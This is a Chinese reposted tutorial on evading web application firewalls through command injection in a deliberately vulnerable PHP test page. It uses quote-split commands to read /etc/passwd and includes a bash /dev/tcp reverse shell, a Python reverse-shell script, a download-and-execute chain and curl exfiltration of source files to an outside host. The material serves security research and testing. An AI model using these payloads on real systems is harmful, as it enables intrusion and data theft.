Web应用程序防火墙(WAF)bypass技术(二)

栏目: PHP · 发布时间: 5年前

内容简介:在例如:在SQL注入的payload内使用注释语法可以绕过许多过滤器。也就是说,不使用union+select,而是使用 /?id=1+un/**/ion+sel/**/ect+1,2,3– 这类语法。这是一项很棒的技术,当目标WAF允许星号*和连接字符时,就能够起作用。报告这应该仅适用于SQL注入,不能用于利用本地文件包含或远程命令执行。对于某些特定场景,对于需要保护Web应用程序免受远程命令执行攻击的WAF来说,这是一个“真正的噩梦”…这就是连接字符串。

Web应用程序防火墙(WAF)bypass技术的第一部分 中,我们已经看到了如何使用通配符(主要是 使用问号通配符 )绕过WAF规则。显然,还有很多其他方法可以绕过WAF规则集,我认为每次攻击都有其特定的规避技术。

例如:在 SQL 注入的payload内使用注释语法可以绕过许多过滤器。也就是说,不使用union+select,而是使用 /?id=1+un/**/ion+sel/**/ect+1,2,3– 这类语法。

这是一项很棒的技术,当目标WAF允许星号*和连接字符时,就能够起作用。报告这应该仅适用于SQL注入,不能用于利用本地文件包含或远程命令执行。对于某些特定场景,对于需要保护Web应用程序免受远程命令执行攻击的WAF来说,这是一个“真正的噩梦”…这就是连接字符串。

连接

在许多编程语言中,字符串连接符是一种运算符。+(加号)经常被重载表示为字符串参数连接:”Hello, ” + “World”相当于”Hello, World”。在其他语言中,有一个单独的运算符“.”能对字符串的隐式类型进行转换,也能进行连接,例如 PerlPHPLua 等。

$ php -r 'echo "hello"." world"."\n";'
hello world
$ python -c 'print "hello" + " world"'
hello world

但如果你以为这就是连接字符串的唯一途径,那就大错特错了。

在一些语言中,例如C,C ++,Python以及可以在Bash中找到的脚本语言/语法,有一种叫做字符串文字连接的东西,这意味着相邻的字符串文字是连接的,不需要任何运算符,例如”Hello, ” “World”相当于”Hello, World”。这不仅适用于printf和echo命令,而且适用于整个bash语法。

以下每个命令都具有相同的结果:

# echo test
# echo 't'e's't
# echo 'te'st
# echo 'te'st''
# echo 'te'''st''
# python -c 'print "te" "st"'

Web应用程序防火墙(WAF)bypass技术(二)

发生这种情况是因为所有相邻的字符串文字在Bash中是连接在一起,实际上’te’s't’由三个字符串组成:字符串te,字符串s和字符串t。此语法可用于绕过基于“匹配短语” 的过滤器(或WAF规则)(例如,ModSecurity中的pm运算符 https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#pm )。

SecRule ARGS “@pm passwd shadow groups”…ModSecurity中的规则将阻止包含passwd或shadow的所有请求。但是,如果我们将它们转换为pa’ss’wd或者sh’ad’ow呢?就像我们之前看到的SQL注入的语法一样,它使用注释拆分来查询,在这里我们也可以使用单引号’拆分文件名和系统命令,并创建连接字符串组。当然,可以使用连接字符串作为任何命令的参数,不仅仅是允许连接路径甚至执行Bash命令的时候才能使用。

以下命令的几个示例:

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'

Web应用程序防火墙(WAF)bypass技术(二) Web应用程序防火墙(WAF)bypass技术(二)

现在,假设已经在应用程序的url参数上发现了远程命令执行。如果有一条规则阻止像“etc、passwd、shadow”等这样的短语,你可以用这样的东西绕过它:

curl …/?url=;+cat+/e’t'c/pa’ss’wd

开始测试下,我将使用以下PHP代码,以便像往常一样在Sucuri WAF和ModSecurity进行比较测试,使用的PHP代码是:

<?php
   if ( isset($_GET['zzz']) ) {
      system('curl -v '.$_GET['zzz']);
   }

首先,我尝试使用这个PHP应用程序,以获得google.com的响应体,而无需编码参数的值:

curl -v ‘ http://test1.unicresit.it/?zzz=google.com

它按预期工作了,google.com 返回302页面说我应该关注位置 www.google.de (谷歌正确地将我在法兰克福的服务器地理定位):

Web应用程序防火墙(WAF)bypass技术(二)

现在,为了利用这个易受攻击的应用程序,我可以做很多事情,其中一件事就是用分号;分隔并尝试执行其他系统命令。

当我尝试读取/etc/passwd文件时,Sucuri阻止了…例如:curl -v ‘ http://test1.unicresit.it/?zzz= ;+cat+/etc/passwd’

由于以下原因被Sucuri WAF阻止:“An attempted RFI/LFI was detected and blocked”我认为(只是一个假设,因为用户看不到Sucuri WAF规则的细节)Sucuri“RFI/LFI检测”规则使用了我们之前见过的“匹配短语”之类的东西,如列表常见的路径和文件名/etc/passwd等。由于WAF设置的问题,我可以使用两个单引号绕过这个规则!

payload:curl -v “ http://test1.unicresit.it/?zzz= ;+cat+/e’tc/pass’wd”

Web应用程序防火墙(WAF)bypass技术(二)

目前能读取passwd文件,但有一个问题是无法使用netcat,因为它没有安装在目标系统上。

$ curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
$ curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
$

最简单的方法(几乎没有可以被WAF阻止的特殊字符)是使用bash -i命令: bash -i >& /dev/tcp/1.1.1.1/1337 0>&1 ,但遗憾的是太复杂而无法绕过所有检测此payload特征的规则集,这意味着使用某些PHP、Perl或 Python 代码来获取反弹 shell 会很困难。由于这个原因,Sucuri WAF阻止了我的尝试:Obfuscated attack payload detected。

可以尝试使用或上传Python反弹shell脚本到可写目录,而不是通过直接在易受攻击的参数上执行来获取shell。首先,准备python代码:使用curl或wget来下载python代码,vi shell.py

#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

然后像往常一样使用python -c SimpleHTTPServer或php -S等开启公网可访问的Web服务器…然后从目标网站下载shell.py文件,我使用了以下语法:

curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'

Web应用程序防火墙(WAF)bypass技术(二) Web应用程序防火墙(WAF)bypass技术(二)

Sucuri WAF没有阻止这个请求,但通常ModSecurity会阻止,如果你想确保绕过所有“匹配短语”规则类型,你可以使用wget + ip-to-long conversion + string连接:

.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html

第一个命令用于wget下载shell文件到/tmp/目录。第二个使用chmod使其可执行,第三个是执行文件。正如你所看到的,wget命令请求特定的文件,所以下载的文件被命名为index.html。可以通过netcat的nc命令使用手工编写响应头和响应体来公开这个文件,如下所示:

Web应用程序防火墙(WAF)bypass技术(二)

现在开始我的困难之旅。。。

Bypass ModSecurity and the OWASP Core规则集

可能你认为此payload可以绕过OWASP核心规则集,就像我们在之前文章[因为文章还未发布,审核可以在这里补充]中看到的那样… 但基本上不会成功。这是因为有两个叫做normalizePath和cmdLine的小东西。在ModSecurity中,它们被称为“转换函数”,用于在输入数据时进行匹配(例如,运算符执行)之前更改输入数据。输入数据永远不会被修改,因为ModSecurity将创建数据的副本,对其进行转换,然后针对结果运行运算符。

normalizePath:它从输入字符串中删除多个目录自引用和目录后引用(在开头时有输入除外)的斜杠,。

cmdLine:由Marc Stern开发,这个转换函数通过规范参数值并触发所有规则(如LFI,RCE,Unix命令等)来避免使用转义序列…例如/e’t'c/pa’ss’wd不会转换为/etc/passwd。它做了以下很多事情:

1 删除所有反斜杠 \
2 删除所有双引号 “
3 删除所有单引号 ‘
4 删除所有插入符号 ^
5 在斜杠前删除空格 /
6 在打开括号之前删除空格 (
7 将所有逗号,和分号;替换为空格
8 将所有多个空格(包括制表符,换行符等)替换为一个空格
9 将所有字符转换为小写

由于cmdLine转换函数,所有使用连接字符串利用RCE的尝试都被规则932160阻止:

Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"

目前我无法读取/etc/passwd,但不要失望,OWASP核心规则集发现公共文件,路径和命令时会阻止它们,但它不能对目标应用程序的源代码执行相同的操作。我不能使用分号;字符(这意味着我不能破坏curl语法)但我可以使用curl的exfiltrate功能将文件发送到我的远程服务器。这将适用于从0到3的防护级别。

诀窍是通过POST HTTP请求将文件发送到远程服务器,curl可以使用data参数来执行此操作-d:

curl -d @/<file> <remote server>

以下的请求,已将@url编码为%40:

curl “…/?zzz=-d+%40/usr/local/…/index.php+1.1.1.1:1337″

Web应用程序防火墙(WAF)bypass技术(二)

如果目标的防护等级设置为4,则所有这些都不会起作用,因为payload包含连接字符,正斜杠等字符…好消息是在生产环境中很少发现防护等级是4。

反斜杠是新的单引号:)

同样的技术也可以使用反斜杠\字符,反斜杠不是连接字符串,而只是一个转义序列:

Web应用程序防火墙(WAF)bypass技术(二)


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Think Python

Think Python

Allen B. Downey / O'Reilly Media / 2012-8-23 / GBP 29.99

Think Python is an introduction to Python programming for students with no programming experience. It starts with the most basic concepts of programming, and is carefully designed to define all terms ......一起来看看 《Think Python》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具